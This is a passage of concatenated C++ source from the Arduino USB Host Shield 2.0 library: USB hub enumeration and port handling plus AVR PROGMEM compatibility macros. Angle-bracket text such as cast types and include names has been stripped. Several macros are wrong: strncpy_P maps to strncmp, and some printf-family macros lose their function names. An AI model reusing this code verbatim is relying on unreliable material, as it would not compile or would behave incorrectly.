2011 Circuits At Home, LTD. All rights reserved. This software may be distributed and modified under the terms of the GNU General Public License version 2 (GPL2) as published by the Free Software Foundation and appearing in the file GPL2.TXT included in the packaging of this file. Please note that GPL2 Section 2[b] requires that all works based on this software must also be made publicly available under the terms of the GPL2 ("Copyleft"). Contact information ------------------- Circuits At Home, LTD Web : http://www.circuitsathome.com e-mail : support@circuitsathome.com */ #include "usbhub.h" bool USBHub::bResetInitiated = false; USBHub::USBHub(USB *p) : pUsb(p), bAddress(0), bNbrPorts(0), //bInitState(0), qNextPollTime(0), bPollEnable(false) { epInfo[0].epAddr = 0; epInfo[0].maxPktSize = 8; epInfo[0].bmSndToggle = 0; epInfo[0].bmRcvToggle = 0; epInfo[0].bmNakPower = USB_NAK_MAX_POWER; epInfo[1].epAddr = 1; epInfo[1].maxPktSize = 8; //kludge epInfo[1].bmSndToggle = 0; epInfo[1].bmRcvToggle = 0; epInfo[1].bmNakPower = USB_NAK_NOWAIT; if(pUsb) pUsb->RegisterDeviceClass(this); } uint8_t USBHub::Init(uint8_t parent, uint8_t port, bool lowspeed) { uint8_t buf[32]; USB_DEVICE_DESCRIPTOR * udd = reinterpret_cast(buf); HubDescriptor* hd = reinterpret_cast(buf); USB_CONFIGURATION_DESCRIPTOR * ucd = reinterpret_cast(buf); uint8_t rcode; UsbDevice *p = NULL; EpInfo *oldep_ptr = NULL; uint8_t len = 0; uint16_t cd_len = 0; //USBTRACE("\r\nHub Init Start "); //D_PrintHex (bInitState, 0x80); AddressPool &addrPool = pUsb->GetAddressPool(); //switch (bInitState) { // case 0: if(bAddress) return USB_ERROR_CLASS_INSTANCE_ALREADY_IN_USE; // Get pointer to pseudo device with address 0 assigned p = addrPool.GetUsbDevicePtr(0); if(!p) return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL; if(!p->epinfo) return USB_ERROR_EPINFO_IS_NULL; // Save old pointer to EP_RECORD of address 0 oldep_ptr = p->epinfo; // Temporary assign new pointer to epInfo to p->epinfo in order to avoid toggle inconsistence p->epinfo = epInfo; p->lowspeed = lowspeed; // Get device descriptor rcode = pUsb->getDevDescr(0, 0, 8, (uint8_t*)buf); p->lowspeed = false; if(!rcode) len = (buf[0] > 32) ? 32 : buf[0]; if(rcode) { // Restore p->epinfo p->epinfo = oldep_ptr; return rcode; } // Extract device class from device descriptor // If device class is not a hub return if(udd->bDeviceClass != 0x09) return USB_DEV_CONFIG_ERROR_DEVICE_NOT_SUPPORTED; // Allocate new address according to device class bAddress = addrPool.AllocAddress(parent, (udd->bDeviceClass == 0x09) ? true : false, port); if(!bAddress) return USB_ERROR_OUT_OF_ADDRESS_SPACE_IN_POOL; // Extract Max Packet Size from the device descriptor epInfo[0].maxPktSize = udd->bMaxPacketSize0; // Assign new address to the device rcode = pUsb->setAddr(0, 0, bAddress); if(rcode) { // Restore p->epinfo p->epinfo = oldep_ptr; addrPool.FreeAddress(bAddress); bAddress = 0; return rcode; } //USBTRACE2("\r\nHub address: ", bAddress ); // Restore p->epinfo p->epinfo = oldep_ptr; if(len) rcode = pUsb->getDevDescr(bAddress, 0, len, (uint8_t*)buf); if(rcode) goto FailGetDevDescr; // Assign epInfo to epinfo pointer rcode = pUsb->setEpInfoEntry(bAddress, 2, epInfo); if(rcode) goto FailSetDevTblEntry; // bInitState = 1; // case 1: // Get hub descriptor rcode = GetHubDescriptor(0, 8, buf); if(rcode) goto FailGetHubDescr; // Save number of ports for future use bNbrPorts = hd->bNbrPorts; // bInitState = 2; // case 2: // Read configuration Descriptor in Order To Obtain Proper Configuration Value rcode = pUsb->getConfDescr(bAddress, 0, 8, 0, buf); if(!rcode) { cd_len = ucd->wTotalLength; rcode = pUsb->getConfDescr(bAddress, 0, cd_len, 0, buf); } if(rcode) goto FailGetConfDescr; // The following code is of no practical use in real life applications. // It only intended for the usb protocol sniffer to properly parse hub-class requests. { uint8_t buf2[24]; rcode = pUsb->getConfDescr(bAddress, 0, buf[0], 0, buf2); if(rcode) goto FailGetConfDescr; } // Set Configuration Value rcode = pUsb->setConf(bAddress, 0, buf[5]); if(rcode) goto FailSetConfDescr; // bInitState = 3; // case 3: // Power on all ports for(uint8_t j = 1; j <= bNbrPorts; j++) SetPortFeature(HUB_FEATURE_PORT_POWER, j, 0); //HubPortPowerOn(j); pUsb->SetHubPreMask(); bPollEnable = true; // bInitState = 0; //} //bInitState = 0; //USBTRACE("...OK\r\n"); return 0; // Oleg, No debugging?? -- xxxajk FailGetDevDescr: goto Fail; FailSetDevTblEntry: goto Fail; FailGetHubDescr: goto Fail; FailGetConfDescr: goto Fail; FailSetConfDescr: goto Fail; Fail: USBTRACE("...FAIL\r\n"); return rcode; } uint8_t USBHub::Release() { pUsb->GetAddressPool().FreeAddress(bAddress); if(bAddress == 0x41) pUsb->SetHubPreMask(); bAddress = 0; bNbrPorts = 0; qNextPollTime = 0; bPollEnable = false; return 0; } uint8_t USBHub::Poll() { uint8_t rcode = 0; if(!bPollEnable) return 0; if(((int32_t)((uint32_t)millis() - qNextPollTime) >= 0L)) { rcode = CheckHubStatus(); qNextPollTime = (uint32_t)millis() + 100; } return rcode; } uint8_t USBHub::CheckHubStatus() { uint8_t rcode; uint8_t buf[8]; uint16_t read = 1; rcode = pUsb->inTransfer(bAddress, 1, &read, buf); if(rcode) return rcode; //if (buf[0] & 0x01) // Hub Status Change //{ // pUsb->PrintHubStatus(addr); // rcode = GetHubStatus(1, 0, 1, 4, buf); // if (rcode) // { // USB_HOST_SERIAL.print("GetHubStatus Error"); // USB_HOST_SERIAL.println(rcode, HEX); // return rcode; // } //} for(uint8_t port = 1, mask = 0x02; port < 8; mask <<= 1, port++) { if(buf[0] & mask) { HubEvent evt; evt.bmEvent = 0; rcode = GetPortStatus(port, 4, evt.evtBuff); if(rcode) continue; rcode = PortStatusChange(port, evt); if(rcode == HUB_ERROR_PORT_HAS_BEEN_RESET) return 0; if(rcode) return rcode; } } // for for(uint8_t port = 1; port <= bNbrPorts; port++) { HubEvent evt; evt.bmEvent = 0; rcode = GetPortStatus(port, 4, evt.evtBuff); if(rcode) continue; if((evt.bmStatus & bmHUB_PORT_STATE_CHECK_DISABLED) != bmHUB_PORT_STATE_DISABLED) continue; // Emulate connection event for the port evt.bmChange |= bmHUB_PORT_STATUS_C_PORT_CONNECTION; rcode = PortStatusChange(port, evt); if(rcode == HUB_ERROR_PORT_HAS_BEEN_RESET) return 0; if(rcode) return rcode; } // for return 0; } void USBHub::ResetHubPort(uint8_t port) { HubEvent evt; evt.bmEvent = 0; uint8_t rcode; ClearPortFeature(HUB_FEATURE_C_PORT_ENABLE, port, 0); ClearPortFeature(HUB_FEATURE_C_PORT_CONNECTION, port, 0); SetPortFeature(HUB_FEATURE_PORT_RESET, port, 0); for(int i = 0; i < 3; i++) { rcode = GetPortStatus(port, 4, evt.evtBuff); if(rcode) break; // Some kind of error, bail. if(evt.bmEvent == bmHUB_PORT_EVENT_RESET_COMPLETE || evt.bmEvent == bmHUB_PORT_EVENT_LS_RESET_COMPLETE) { break; } delay(100); // simulate polling. } ClearPortFeature(HUB_FEATURE_C_PORT_RESET, port, 0); ClearPortFeature(HUB_FEATURE_C_PORT_CONNECTION, port, 0); delay(20); } uint8_t USBHub::PortStatusChange(uint8_t port, HubEvent &evt) { switch(evt.bmEvent) { // Device connected event case bmHUB_PORT_EVENT_CONNECT: case bmHUB_PORT_EVENT_LS_CONNECT: if(bResetInitiated) return 0; ClearPortFeature(HUB_FEATURE_C_PORT_ENABLE, port, 0); ClearPortFeature(HUB_FEATURE_C_PORT_CONNECTION, port, 0); SetPortFeature(HUB_FEATURE_PORT_RESET, port, 0); bResetInitiated = true; return HUB_ERROR_PORT_HAS_BEEN_RESET; // Device disconnected event case bmHUB_PORT_EVENT_DISCONNECT: ClearPortFeature(HUB_FEATURE_C_PORT_ENABLE, port, 0); ClearPortFeature(HUB_FEATURE_C_PORT_CONNECTION, port, 0); bResetInitiated = false; UsbDeviceAddress a; a.devAddress = 0; a.bmHub = 0; a.bmParent = bAddress; a.bmAddress = port; pUsb->ReleaseDevice(a.devAddress); return 0; // Reset complete event case bmHUB_PORT_EVENT_RESET_COMPLETE: case bmHUB_PORT_EVENT_LS_RESET_COMPLETE: ClearPortFeature(HUB_FEATURE_C_PORT_RESET, port, 0); ClearPortFeature(HUB_FEATURE_C_PORT_CONNECTION, port, 0); delay(20); a.devAddress = bAddress; pUsb->Configuring(a.bmAddress, port, (evt.bmStatus & bmHUB_PORT_STATUS_PORT_LOW_SPEED)); bResetInitiated = false; break; } // switch (evt.bmEvent) return 0; } void PrintHubPortStatus(USBHub *hubptr, uint8_t addr __attribute__((unused)), uint8_t port, bool print_changes) { uint8_t rcode = 0; HubEvent evt; rcode = hubptr->GetPortStatus(port, 4, evt.evtBuff); if(rcode) { USB_HOST_SERIAL.println("ERROR!"); return; } USB_HOST_SERIAL.print("\r\nPort "); USB_HOST_SERIAL.println(port, DEC); USB_HOST_SERIAL.println("Status"); USB_HOST_SERIAL.print("CONNECTION:\t"); USB_HOST_SERIAL.println((evt.bmStatus & bmHUB_PORT_STATUS_PORT_CONNECTION) > 0, DEC); USB_HOST_SERIAL.print("ENABLE:\t\t"); USB_HOST_SERIAL.println((evt.bmStatus & bmHUB_PORT_STATUS_PORT_ENABLE) > 0, DEC); USB_HOST_SERIAL.print("SUSPEND:\t"); USB_HOST_SERIAL.println((evt.bmStatus & bmHUB_PORT_STATUS_PORT_SUSPEND) > 0, DEC); USB_HOST_SERIAL.print("OVER_CURRENT:\t"); USB_HOST_SERIAL.println((evt.bmStatus & bmHUB_PORT_STATUS_PORT_OVER_CURRENT) > 0, DEC); USB_HOST_SERIAL.print("RESET:\t\t"); USB_HOST_SERIAL.println((evt.bmStatus & bmHUB_PORT_STATUS_PORT_RESET) > 0, DEC); USB_HOST_SERIAL.print("POWER:\t\t"); USB_HOST_SERIAL.println((evt.bmStatus & bmHUB_PORT_STATUS_PORT_POWER) > 0, DEC); USB_HOST_SERIAL.print("LOW_SPEED:\t"); USB_HOST_SERIAL.println((evt.bmStatus & bmHUB_PORT_STATUS_PORT_LOW_SPEED) > 0, DEC); USB_HOST_SERIAL.print("HIGH_SPEED:\t"); USB_HOST_SERIAL.println((evt.bmStatus & bmHUB_PORT_STATUS_PORT_HIGH_SPEED) > 0, DEC); USB_HOST_SERIAL.print("TEST:\t\t"); USB_HOST_SERIAL.println((evt.bmStatus & bmHUB_PORT_STATUS_PORT_TEST) > 0, DEC); USB_HOST_SERIAL.print("INDICATOR:\t"); USB_HOST_SERIAL.println((evt.bmStatus & bmHUB_PORT_STATUS_PORT_INDICATOR) > 0, DEC); if(!print_changes) return; USB_HOST_SERIAL.println("\r\nChange"); USB_HOST_SERIAL.print("CONNECTION:\t"); USB_HOST_SERIAL.println((evt.bmChange & bmHUB_PORT_STATUS_C_PORT_CONNECTION) > 0, DEC); USB_HOST_SERIAL.print("ENABLE:\t\t"); USB_HOST_SERIAL.println((evt.bmChange & bmHUB_PORT_STATUS_C_PORT_ENABLE) > 0, DEC); USB_HOST_SERIAL.print("SUSPEND:\t"); USB_HOST_SERIAL.println((evt.bmChange & bmHUB_PORT_STATUS_C_PORT_SUSPEND) > 0, DEC); USB_HOST_SERIAL.print("OVER_CURRENT:\t"); USB_HOST_SERIAL.println((evt.bmChange & bmHUB_PORT_STATUS_C_PORT_OVER_CURRENT) > 0, DEC); USB_HOST_SERIAL.print("RESET:\t\t"); USB_HOST_SERIAL.println((evt.bmChange & bmHUB_PORT_STATUS_C_PORT_RESET) > 0, DEC); } ================================================ FILE: libraries/USB_Host_Shield_2.0/usbhub.h ================================================ /* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved. This software may be distributed and modified under the terms of the GNU General Public License version 2 (GPL2) as published by the Free Software Foundation and appearing in the file GPL2.TXT included in the packaging of this file. Please note that GPL2 Section 2[b] requires that all works based on this software must also be made publicly available under the terms of the GPL2 ("Copyleft"). Contact information ------------------- Circuits At Home, LTD Web : http://www.circuitsathome.com e-mail : support@circuitsathome.com */ #if !defined(__USBHUB_H__) #define __USBHUB_H__ #include "Usb.h" #define USB_DESCRIPTOR_HUB 0x09 // Hub descriptor type // Hub Requests #define bmREQ_CLEAR_HUB_FEATURE USB_SETUP_HOST_TO_DEVICE|USB_SETUP_TYPE_CLASS|USB_SETUP_RECIPIENT_DEVICE #define bmREQ_CLEAR_PORT_FEATURE USB_SETUP_HOST_TO_DEVICE|USB_SETUP_TYPE_CLASS|USB_SETUP_RECIPIENT_OTHER #define bmREQ_CLEAR_TT_BUFFER USB_SETUP_HOST_TO_DEVICE|USB_SETUP_TYPE_CLASS|USB_SETUP_RECIPIENT_OTHER #define bmREQ_GET_HUB_DESCRIPTOR USB_SETUP_DEVICE_TO_HOST|USB_SETUP_TYPE_CLASS|USB_SETUP_RECIPIENT_DEVICE #define bmREQ_GET_HUB_STATUS USB_SETUP_DEVICE_TO_HOST|USB_SETUP_TYPE_CLASS|USB_SETUP_RECIPIENT_DEVICE #define bmREQ_GET_PORT_STATUS USB_SETUP_DEVICE_TO_HOST|USB_SETUP_TYPE_CLASS|USB_SETUP_RECIPIENT_OTHER #define bmREQ_RESET_TT USB_SETUP_HOST_TO_DEVICE|USB_SETUP_TYPE_CLASS|USB_SETUP_RECIPIENT_OTHER #define bmREQ_SET_HUB_DESCRIPTOR USB_SETUP_HOST_TO_DEVICE|USB_SETUP_TYPE_CLASS|USB_SETUP_RECIPIENT_DEVICE #define bmREQ_SET_HUB_FEATURE USB_SETUP_HOST_TO_DEVICE|USB_SETUP_TYPE_CLASS|USB_SETUP_RECIPIENT_DEVICE #define bmREQ_SET_PORT_FEATURE USB_SETUP_HOST_TO_DEVICE|USB_SETUP_TYPE_CLASS|USB_SETUP_RECIPIENT_OTHER #define bmREQ_GET_TT_STATE USB_SETUP_DEVICE_TO_HOST|USB_SETUP_TYPE_CLASS|USB_SETUP_RECIPIENT_OTHER #define bmREQ_STOP_TT USB_SETUP_HOST_TO_DEVICE|USB_SETUP_TYPE_CLASS|USB_SETUP_RECIPIENT_OTHER // Hub Class Requests #define HUB_REQUEST_CLEAR_TT_BUFFER 8 #define HUB_REQUEST_RESET_TT 9 #define HUB_REQUEST_GET_TT_STATE 10 #define HUB_REQUEST_STOP_TT 11 // Hub Features #define HUB_FEATURE_C_HUB_LOCAL_POWER 0 #define HUB_FEATURE_C_HUB_OVER_CURRENT 1 #define HUB_FEATURE_PORT_CONNECTION 0 #define HUB_FEATURE_PORT_ENABLE 1 #define HUB_FEATURE_PORT_SUSPEND 2 #define HUB_FEATURE_PORT_OVER_CURRENT 3 #define HUB_FEATURE_PORT_RESET 4 #define HUB_FEATURE_PORT_POWER 8 #define HUB_FEATURE_PORT_LOW_SPEED 9 #define HUB_FEATURE_C_PORT_CONNECTION 16 #define HUB_FEATURE_C_PORT_ENABLE 17 #define HUB_FEATURE_C_PORT_SUSPEND 18 #define HUB_FEATURE_C_PORT_OVER_CURRENT 19 #define HUB_FEATURE_C_PORT_RESET 20 #define HUB_FEATURE_PORT_TEST 21 #define HUB_FEATURE_PORT_INDICATOR 22 // Hub Port Test Modes #define HUB_PORT_TEST_MODE_J 1 #define HUB_PORT_TEST_MODE_K 2 #define HUB_PORT_TEST_MODE_SE0_NAK 3 #define HUB_PORT_TEST_MODE_PACKET 4 #define HUB_PORT_TEST_MODE_FORCE_ENABLE 5 // Hub Port Indicator Color #define HUB_PORT_INDICATOR_AUTO 0 #define HUB_PORT_INDICATOR_AMBER 1 #define HUB_PORT_INDICATOR_GREEN 2 #define HUB_PORT_INDICATOR_OFF 3 // Hub Port Status Bitmasks #define bmHUB_PORT_STATUS_PORT_CONNECTION 0x0001 #define bmHUB_PORT_STATUS_PORT_ENABLE 0x0002 #define bmHUB_PORT_STATUS_PORT_SUSPEND 0x0004 #define bmHUB_PORT_STATUS_PORT_OVER_CURRENT 0x0008 #define bmHUB_PORT_STATUS_PORT_RESET 0x0010 #define bmHUB_PORT_STATUS_PORT_POWER 0x0100 #define bmHUB_PORT_STATUS_PORT_LOW_SPEED 0x0200 #define bmHUB_PORT_STATUS_PORT_HIGH_SPEED 0x0400 #define bmHUB_PORT_STATUS_PORT_TEST 0x0800 #define bmHUB_PORT_STATUS_PORT_INDICATOR 0x1000 // Hub Port Status Change Bitmasks (used one byte instead of two) #define bmHUB_PORT_STATUS_C_PORT_CONNECTION 0x0001 #define bmHUB_PORT_STATUS_C_PORT_ENABLE 0x0002 #define bmHUB_PORT_STATUS_C_PORT_SUSPEND 0x0004 #define bmHUB_PORT_STATUS_C_PORT_OVER_CURRENT 0x0008 #define bmHUB_PORT_STATUS_C_PORT_RESET 0x0010 // Hub Status Bitmasks (used one byte instead of two) #define bmHUB_STATUS_LOCAL_POWER_SOURCE 0x01 #define bmHUB_STATUS_OVER_CURRENT 0x12 // Hub Status Change Bitmasks (used one byte instead of two) #define bmHUB_STATUS_C_LOCAL_POWER_SOURCE 0x01 #define bmHUB_STATUS_C_OVER_CURRENT 0x12 // Hub Port Configuring Substates #define USB_STATE_HUB_PORT_CONFIGURING 0xb0 #define USB_STATE_HUB_PORT_POWERED_OFF 0xb1 #define USB_STATE_HUB_PORT_WAIT_FOR_POWER_GOOD 0xb2 #define USB_STATE_HUB_PORT_DISCONNECTED 0xb3 #define USB_STATE_HUB_PORT_DISABLED 0xb4 #define USB_STATE_HUB_PORT_RESETTING 0xb5 #define USB_STATE_HUB_PORT_ENABLED 0xb6 // Additional Error Codes #define HUB_ERROR_PORT_HAS_BEEN_RESET 0xb1 // The bit mask to check for all necessary state bits #define bmHUB_PORT_STATUS_ALL_MAIN ((0UL | bmHUB_PORT_STATUS_C_PORT_CONNECTION | bmHUB_PORT_STATUS_C_PORT_ENABLE | bmHUB_PORT_STATUS_C_PORT_SUSPEND | bmHUB_PORT_STATUS_C_PORT_RESET) << 16) | bmHUB_PORT_STATUS_PORT_POWER | bmHUB_PORT_STATUS_PORT_ENABLE | bmHUB_PORT_STATUS_PORT_CONNECTION | bmHUB_PORT_STATUS_PORT_SUSPEND) // Bit mask to check for DISABLED state in HubEvent::bmStatus field #define bmHUB_PORT_STATE_CHECK_DISABLED (0x0000 | bmHUB_PORT_STATUS_PORT_POWER | bmHUB_PORT_STATUS_PORT_ENABLE | bmHUB_PORT_STATUS_PORT_CONNECTION | bmHUB_PORT_STATUS_PORT_SUSPEND) // Hub Port States #define bmHUB_PORT_STATE_DISABLED (0x0000 | bmHUB_PORT_STATUS_PORT_POWER | bmHUB_PORT_STATUS_PORT_CONNECTION) // Hub Port Events #define bmHUB_PORT_EVENT_CONNECT (((0UL | bmHUB_PORT_STATUS_C_PORT_CONNECTION) << 16) | bmHUB_PORT_STATUS_PORT_POWER | bmHUB_PORT_STATUS_PORT_CONNECTION) #define bmHUB_PORT_EVENT_DISCONNECT (((0UL | bmHUB_PORT_STATUS_C_PORT_CONNECTION) << 16) | bmHUB_PORT_STATUS_PORT_POWER) #define bmHUB_PORT_EVENT_RESET_COMPLETE (((0UL | bmHUB_PORT_STATUS_C_PORT_RESET) << 16) | bmHUB_PORT_STATUS_PORT_POWER | bmHUB_PORT_STATUS_PORT_ENABLE | bmHUB_PORT_STATUS_PORT_CONNECTION) #define bmHUB_PORT_EVENT_LS_CONNECT (((0UL | bmHUB_PORT_STATUS_C_PORT_CONNECTION) << 16) | bmHUB_PORT_STATUS_PORT_POWER | bmHUB_PORT_STATUS_PORT_CONNECTION | bmHUB_PORT_STATUS_PORT_LOW_SPEED) #define bmHUB_PORT_EVENT_LS_RESET_COMPLETE (((0UL | bmHUB_PORT_STATUS_C_PORT_RESET) << 16) | bmHUB_PORT_STATUS_PORT_POWER | bmHUB_PORT_STATUS_PORT_ENABLE | bmHUB_PORT_STATUS_PORT_CONNECTION | bmHUB_PORT_STATUS_PORT_LOW_SPEED) #define bmHUB_PORT_EVENT_LS_PORT_ENABLED (((0UL | bmHUB_PORT_STATUS_C_PORT_CONNECTION | bmHUB_PORT_STATUS_C_PORT_ENABLE) << 16) | bmHUB_PORT_STATUS_PORT_POWER | bmHUB_PORT_STATUS_PORT_ENABLE | bmHUB_PORT_STATUS_PORT_CONNECTION | bmHUB_PORT_STATUS_PORT_LOW_SPEED) struct HubDescriptor { uint8_t bDescLength; // descriptor length uint8_t bDescriptorType; // descriptor type uint8_t bNbrPorts; // number of ports a hub equiped with struct { uint16_t LogPwrSwitchMode : 2; uint16_t CompoundDevice : 1; uint16_t OverCurrentProtectMode : 2; uint16_t TTThinkTime : 2; uint16_t PortIndicatorsSupported : 1; uint16_t Reserved : 8; } __attribute__((packed)); uint8_t bPwrOn2PwrGood; uint8_t bHubContrCurrent; } __attribute__((packed)); struct HubEvent { union { struct { uint16_t bmStatus; // port status bits uint16_t bmChange; // port status change bits } __attribute__((packed)); uint32_t bmEvent; uint8_t evtBuff[4]; }; } __attribute__((packed)); class USBHub : USBDeviceConfig { static bool bResetInitiated; // True when reset is triggered USB *pUsb; // USB class instance pointer EpInfo epInfo[2]; // interrupt endpoint info structure uint8_t bAddress; // address uint8_t bNbrPorts; // number of ports // uint8_t bInitState; // initialization state variable uint32_t qNextPollTime; // next poll time bool bPollEnable; // poll enable flag uint8_t CheckHubStatus(); uint8_t PortStatusChange(uint8_t port, HubEvent &evt); public: USBHub(USB *p); uint8_t ClearHubFeature(uint8_t fid); uint8_t ClearPortFeature(uint8_t fid, uint8_t port, uint8_t sel = 0); uint8_t GetHubDescriptor(uint8_t index, uint16_t nbytes, uint8_t *dataptr); uint8_t GetHubStatus(uint16_t nbytes, uint8_t* dataptr); uint8_t GetPortStatus(uint8_t port, uint16_t nbytes, uint8_t* dataptr); uint8_t SetHubDescriptor(uint8_t port, uint16_t nbytes, uint8_t* dataptr); uint8_t SetHubFeature(uint8_t fid); uint8_t SetPortFeature(uint8_t fid, uint8_t port, uint8_t sel = 0); void PrintHubStatus(); uint8_t Init(uint8_t parent, uint8_t port, bool lowspeed); uint8_t Release(); uint8_t Poll(); void ResetHubPort(uint8_t port); virtual uint8_t GetAddress() { return bAddress; }; virtual bool DEVCLASSOK(uint8_t klass) { return (klass == 0x09); } }; // Clear Hub Feature inline uint8_t USBHub::ClearHubFeature(uint8_t fid) { return ( pUsb->ctrlReq(bAddress, 0, bmREQ_CLEAR_HUB_FEATURE, USB_REQUEST_CLEAR_FEATURE, fid, 0, 0, 0, 0, NULL, NULL)); } // Clear Port Feature inline uint8_t USBHub::ClearPortFeature(uint8_t fid, uint8_t port, uint8_t sel) { return ( pUsb->ctrlReq(bAddress, 0, bmREQ_CLEAR_PORT_FEATURE, USB_REQUEST_CLEAR_FEATURE, fid, 0, ((0x0000 | port) | (sel << 8)), 0, 0, NULL, NULL)); } // Get Hub Descriptor inline uint8_t USBHub::GetHubDescriptor(uint8_t index, uint16_t nbytes, uint8_t *dataptr) { return ( pUsb->ctrlReq(bAddress, 0, bmREQ_GET_HUB_DESCRIPTOR, USB_REQUEST_GET_DESCRIPTOR, index, 0x29, 0, nbytes, nbytes, dataptr, NULL)); } // Get Hub Status inline uint8_t USBHub::GetHubStatus(uint16_t nbytes, uint8_t* dataptr) { return ( pUsb->ctrlReq(bAddress, 0, bmREQ_GET_HUB_STATUS, USB_REQUEST_GET_STATUS, 0, 0, 0x0000, nbytes, nbytes, dataptr, NULL)); } // Get Port Status inline uint8_t USBHub::GetPortStatus(uint8_t port, uint16_t nbytes, uint8_t* dataptr) { return ( pUsb->ctrlReq(bAddress, 0, bmREQ_GET_PORT_STATUS, USB_REQUEST_GET_STATUS, 0, 0, port, nbytes, nbytes, dataptr, NULL)); } // Set Hub Descriptor inline uint8_t USBHub::SetHubDescriptor(uint8_t port, uint16_t nbytes, uint8_t* dataptr) { return ( pUsb->ctrlReq(bAddress, 0, bmREQ_SET_HUB_DESCRIPTOR, USB_REQUEST_SET_DESCRIPTOR, 0, 0, port, nbytes, nbytes, dataptr, NULL)); } // Set Hub Feature inline uint8_t USBHub::SetHubFeature(uint8_t fid) { return ( pUsb->ctrlReq(bAddress, 0, bmREQ_SET_HUB_FEATURE, USB_REQUEST_SET_FEATURE, fid, 0, 0, 0, 0, NULL, NULL)); } // Set Port Feature inline uint8_t USBHub::SetPortFeature(uint8_t fid, uint8_t port, uint8_t sel) { return ( pUsb->ctrlReq(bAddress, 0, bmREQ_SET_PORT_FEATURE, USB_REQUEST_SET_FEATURE, fid, 0, (((0x0000 | sel) << 8) | port), 0, 0, NULL, NULL)); } void PrintHubPortStatus(USB *usbptr, uint8_t addr, uint8_t port, bool print_changes = false); #endif // __USBHUB_H__ ================================================ FILE: libraries/USB_Host_Shield_2.0/version_helper.h ================================================ /* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved. This software may be distributed and modified under the terms of the GNU General Public License version 2 (GPL2) as published by the Free Software Foundation and appearing in the file GPL2.TXT included in the packaging of this file. Please note that GPL2 Section 2[b] requires that all works based on this software must also be made publicly available under the terms of the GPL2 ("Copyleft"). Contact information ------------------- Circuits At Home, LTD Web : http://www.circuitsathome.com e-mail : support@circuitsathome.com */ /* * Universal Arduino(tm) "IDE" fixups. * Includes fixes for versions as low as 0023, used by Digilent. */ #if defined(ARDUINO) && ARDUINO >=100 #include #else #include #include #ifdef __AVR__ #include #include #else #endif #endif #ifndef __PGMSPACE_H_ #define __PGMSPACE_H_ 1 #include #ifndef PROGMEM #define PROGMEM #endif #ifndef PGM_P #define PGM_P const char * #endif #ifndef PSTR #define PSTR(str) (str) #endif #ifndef F #define F(str) (str) #endif #ifndef _SFR_BYTE #define _SFR_BYTE(n) (n) #endif #ifndef memchr_P #define memchr_P(str, c, len) memchr((str), (c), (len)) #endif #ifndef memcmp_P #define memcmp_P(a, b, n) memcmp((a), (b), (n)) #endif #ifndef memcpy_P #define memcpy_P(dest, src, num) memcpy((dest), (src), (num)) #endif #ifndef memmem_P #define memmem_P(a, alen, b, blen) memmem((a), (alen), (b), (blen)) #endif #ifndef memrchr_P #define memrchr_P(str, val, len) memrchr((str), (val), (len)) #endif #ifndef strcat_P #define strcat_P(dest, src) strcat((dest), (src)) #endif #ifndef strchr_P #define strchr_P(str, c) strchr((str), (c)) #endif #ifndef strchrnul_P #define strchrnul_P(str, c) strchrnul((str), (c)) #endif #ifndef strcmp_P #define strcmp_P(a, b) strcmp((a), (b)) #endif #ifndef strcpy_P #define strcpy_P(dest, src) strcpy((dest), (src)) #endif #ifndef strcasecmp_P #define strcasecmp_P(a, b) strcasecmp((a), (b)) #endif #ifndef strcasestr_P #define strcasestr_P(a, b) strcasestr((a), (b)) #endif #ifndef strlcat_P #define strlcat_P(dest, src, len) strlcat((dest), (src), (len)) #endif #ifndef strlcpy_P #define strlcpy_P(dest, src, len) strlcpy((dest), (src), (len)) #endif #ifndef strlen_P #define strlen_P(s) strlen((const char *)(s)) #endif #ifndef strnlen_P #define strnlen_P(str, len) strnlen((str), (len)) #endif #ifndef strncmp_P #define strncmp_P(a, b, n) strncmp((a), (b), (n)) #endif #ifndef strncasecmp_P #define strncasecmp_P(a, b, n) strncasecmp((a), (b), (n)) #endif #ifndef strncat_P #define strncat_P(a, b, n) strncat((a), (b), (n)) #endif #ifndef strncpy_P #define strncpy_P(a, b, n) strncmp((a), (b), (n)) #endif #ifndef strpbrk_P #define strpbrk_P(str, chrs) strpbrk((str), (chrs)) #endif #ifndef strrchr_P #define strrchr_P(str, c) strrchr((str), (c)) #endif #ifndef strsep_P #define strsep_P(strp, delim) strsep((strp), (delim)) #endif #ifndef strspn_P #define strspn_P(str, chrs) strspn((str), (chrs)) #endif #ifndef strstr_P #define strstr_P(a, b) strstr((a), (b)) #endif #ifndef sprintf_P #define sprintf_P(s, ...) sprintf((s), __VA_ARGS__) #endif #ifndef vfprintf_P #define vfprintf_P(s, ...) vfprintf((s), __VA_ARGS__) #endif #ifndef printf_P #define printf_P(...) printf(__VA_ARGS__) #endif #ifndef snprintf_P #define snprintf_P(s, n, ...) ((s), (n), __VA_ARGS__) #endif #ifndef vsprintf_P #define vsprintf_P(s, ...) ((s),__VA_ARGS__) #endif #ifndef vsnprintf_P #define vsnprintf_P(s, n, ...) ((s), (n),__VA_ARGS__) #endif #ifndef fprintf_P #define fprintf_P(s, ...) ((s), __VA_ARGS__) #endif #ifndef pgm_read_byte #define pgm_read_byte(addr) (*(const unsigned char *)(addr)) #endif #ifndef pgm_read_word #define pgm_read_word(addr) (*(const unsigned short *)(addr)) #endif #ifndef pgm_read_dword #define pgm_read_dword(addr) (*(const unsigned long *)(addr)) #endif #ifndef pgm_read_float #define pgm_read_float(addr) (*(const float *)(addr)) #endif #ifndef pgm_read_byte_near #define pgm_read_byte_near(addr) pgm_read_byte(addr) #endif #ifndef pgm_read_word_near #define pgm_read_word_near(addr) pgm_read_word(addr) #endif #ifndef pgm_read_dword_near #define pgm_read_dword_near(addr) pgm_read_dword(addr) #endif #ifndef pgm_read_float_near #define pgm_read_float_near(addr) pgm_read_float(addr) #endif #ifndef pgm_read_byte_far #define pgm_read_byte_far(addr) pgm_read_byte(addr) #endif #ifndef pgm_read_word_far #define pgm_read_word_far(addr) pgm_read_word(addr) #endif #ifndef pgm_read_dword_far #define pgm_read_dword_far(addr) pgm_read_dword(addr) #endif #ifndef pgm_read_float_far #define pgm_read_float_far(addr) pgm_read_float(addr) #endif #ifndef pgm_read_pointer #define pgm_read_pointer #endif #endif ================================================ FILE: libraries/USB_Host_Shield_2.0/xboxEnums.h ================================================ /* Copyright (C) 2012 Kristian Lauszus, TKJ Electronics. All rights reserved. This software may be distributed and modified under the terms of the GNU General Public License version 2 (GPL2) as published by the Free Software Foundation and appearing in the file GPL2.TXT included in the packaging of this file. Please note that GPL2 Section 2[b] requires that all works based on this software must also be 